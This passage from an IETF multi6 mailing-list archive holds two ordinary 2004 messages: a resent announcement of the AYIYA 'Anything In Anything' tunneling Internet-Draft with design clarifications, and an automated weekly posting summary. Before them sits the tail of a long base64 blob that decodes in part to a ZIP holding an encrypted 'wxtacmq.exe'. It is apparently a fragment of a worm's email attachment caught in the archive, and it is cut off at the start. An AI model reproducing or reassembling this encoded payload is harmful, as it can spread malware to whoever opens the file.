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

----------qyrxrmqkivdrueowttsw--




From owner-multi6@ops.ietf.org  Fri May 28 14:12:22 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20664
	for <multi6-archive@lists.ietf.org>; Fri, 28 May 2004 14:12:22 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTlo5-000HpA-In
	for multi6-data@psg.com; Fri, 28 May 2004 18:10:13 +0000
Received: from [195.64.92.136] (helo=purgatory.unfix.org)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTlo3-000Hon-Qj
	for multi6@ops.ietf.org; Fri, 28 May 2004 18:10:12 +0000
Received: from localhost (localhost [127.0.0.1])
	by purgatory.unfix.org (Postfix) with ESMTP id 653218036
	for <multi6@ops.ietf.org>; Fri, 28 May 2004 20:10:09 +0200 (CEST)
Received: from purgatory.unfix.org ([127.0.0.1])
	by localhost (purgatory [127.0.0.1]) (amavisd-new, port 10024)
	with SMTP id 04076-26 for <multi6@ops.ietf.org>;
	Fri, 28 May 2004 20:09:51 +0200 (CEST)
Received: from [9.4.70.109] (pat.zurich.ibm.com [195.176.20.45])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by purgatory.unfix.org (Postfix) with ESMTP id E9DA87F60
	for <multi6@ops.ietf.org>; Fri, 28 May 2004 20:09:50 +0200 (CEST)
Subject: draft-massar-v6ops-ayiya-00
From: Jeroen Massar <jeroen@unfix.org>
To: multi6@ops.ietf.org
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-99uGYRU1B5D8vnECLPWq"
Organization: Unfix
Message-Id: <1085767780.9018.939.camel@segesta.zurich.ibm.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Date: Fri, 28 May 2004 20:09:40 +0200
X-Virus-Scanned: purgatory.unfix.org - http://unfix.org
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk


--=-99uGYRU1B5D8vnECLPWq
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hi,

I am resending this on request also to the multi6 wg after it was
brought to my attention that this protocol could also be used for
solving parts of the multihoming riddle. The below part which was sent to
the v6ops group still mentions that it is primarly meant for targetting
Tunnel Brokers who want to provide tunnels even behind NAT's but as the
protocol is quite generic it can also be used in the scenario where one
tunnels a 'established' communication pair. The issue which this draft
does not handle is the negotiation of the identity type, content and
the hashing method used. But that is up to another draft ;)

-----

For the folks that don't follow the i-d-announce@ietf list, below is the
announcement and I like to receive comments, especially about:

 - should the header allow for multiple signature/identity types
     (and thus lengths) like the current proposal.
 - or should these be fixed.
 - formatting/language use (send those to me directly though)
     a number of them have already been pointed out to me by Christian Stra=
uff.

I was already pointed out by some quick folks that the use of 'identity'
wasn't entirely clear. The identity field 'identifies' the host that is
sending the packets to the server side of the tunnel. This allows one
to distinguish between multiple hosts behind the same NAT and also
allows to be able to not know what the source of the packets would be.

The 'password' mentioned in some parts is actually a 'shared secret'.
It was  pointed out to me that passwords usually are crypted on the
remote host so can't be used for MD5-HMAC, thus  read 'shared secret'
there.

Apparently it wasn't clear why to send a hash of the complete packet
also from the draft: main reason is to be able to verify that the
identity sending this packet really is sending it and that it is
unaltered, if people want crypted packets do that in the payload or use
a different 'Next Header' which could include an additional small header
for specifying a crypto method, but that is out of scope for this
protocol.

To avoid the "AYIYA vs $name" discussions: it is a additional protocol
for Tunnel Broker setups to allow those to tunnel to endusers behind
NAT's.

Greets,
 Jeroen

-----Forwarded Message-----
From: Internet-Drafts@ietf.org
To: i-d-announce@ietf.org
Subject: I-D ACTION:draft-massar-v6ops-ayiya-00.txt
Date: Thu, 27 May 2004 15:40:05 -0400

A New Internet-Draft is available from the on-line Internet-Drafts director=
ies.


	Title		: AYIYA: Anything In Anything
	Author(s)	: J. Massar
	Filename	: draft-massar-v6ops-ayiya-00.txt
	Pages		: 10
	Date		: 2004-5-27
=09
This document defines a tunneling protocol that can be encapsulated
   in any other protocol. Using authentication tokens multiple tunnels
   can be created from behind the same NAT. The tokens allow one to
   identify the sender of the packet thus making it possible to
   automatically switch over the endpoint. This protocol is intended as
   an alternative to the proto-41 protocol in use for tunneling IPv6
   over IPv4 packets over the internet. Due to the authentication this
   protocol is especially useful for dynamic non-24/7 endnodes which are
   located	behind NATs and want to use for instance a IPv6 Tunnel
   Broker. The protocol can carry any payload and thus is not limited to
   only IPv6 over IPv4 but can also be used for IPv4 over IPv6 and many
   other combinations of protocols.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-massar-v6ops-ayiya-00.txt


--=-99uGYRU1B5D8vnECLPWq
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Jeroen Massar / http://unfix.org/~jeroen/

iD8DBQBAt4BkKaooUjM+fCMRAlUTAJ4mfL6LlxSAAseJPsxXhwG2Di/ozQCfSovs
alr1NrWjIbKzCA0aK5ScbcY=
=2WlX
-----END PGP SIGNATURE-----

--=-99uGYRU1B5D8vnECLPWq--




From owner-multi6@ops.ietf.org  Sun May 30 00:05:41 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05308
	for <multi6-archive@lists.ietf.org>; Sun, 30 May 2004 00:05:41 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BUHUZ-000OX1-OB
	for multi6-data@psg.com; Sun, 30 May 2004 04:00:11 +0000
Received: from [66.92.66.68] (helo=cyteen.hactrn.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BUHUY-000OW9-ME
	for multi6@ops.ietf.org; Sun, 30 May 2004 04:00:10 +0000
Received: from hactrn.net (localhost [127.0.0.1])
	by cyteen.hactrn.net (Postfix) with ESMTP id 131C42FE
	for <multi6@ops.ietf.org>; Sun, 30 May 2004 00:00:10 -0400 (EDT)
To: multi6@ops.ietf.org
Subject: Weekly posting summary for multi6@ops.ietf.org
From: Rob Austein <sra@hactrn.net>
Date: Sun, 30 May 2004 00:00:10 -0400
Message-Id: <20040530040010.131C42FE@cyteen.hactrn.net>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

    Messages   |      Bytes        | Who
--------+------+--------+----------+------------------------
 26.92% |    7 | 12.89% |    23447 | iljitsch@muada.com
 11.54% |    3 | 27.97% |    50879 | kurtis@kurtis.pp.se
 23.08% |    6 | 13.84% |    25177 | brc@zurich.ibm.com
  3.85% |    1 | 24.33% |    44257 | smd@ab.use.net
  7.69% |    2 |  6.17% |    11218 | john.loughney@nokia.com
  7.69% |    2 |  4.43% |     8062 | marcelo@it.uc3m.es
  7.69% |    2 |  3.24% |     5900 | pekkas@netcore.fi
  3.85% |    1 |  3.50% |     6362 | jeroen@unfix.org
  3.85% |    1 |  2.47% |     4486 | lear@cisco.com
  3.85% |    1 |  1.16% |     2116 | sra@hactrn.net
--------+------+--------+----------+------------------------
100.00% |   26 |100.00% |   181904 | Total

Grunchweather Associates provides this automatic summary on an at-whim
basis at the request of the MULTI6 WG chairs.  Your mileage may vary.
We decline responsibilities, all shapes, all sizes, all colors.
If this script produces broken output, you get to keep both pieces.



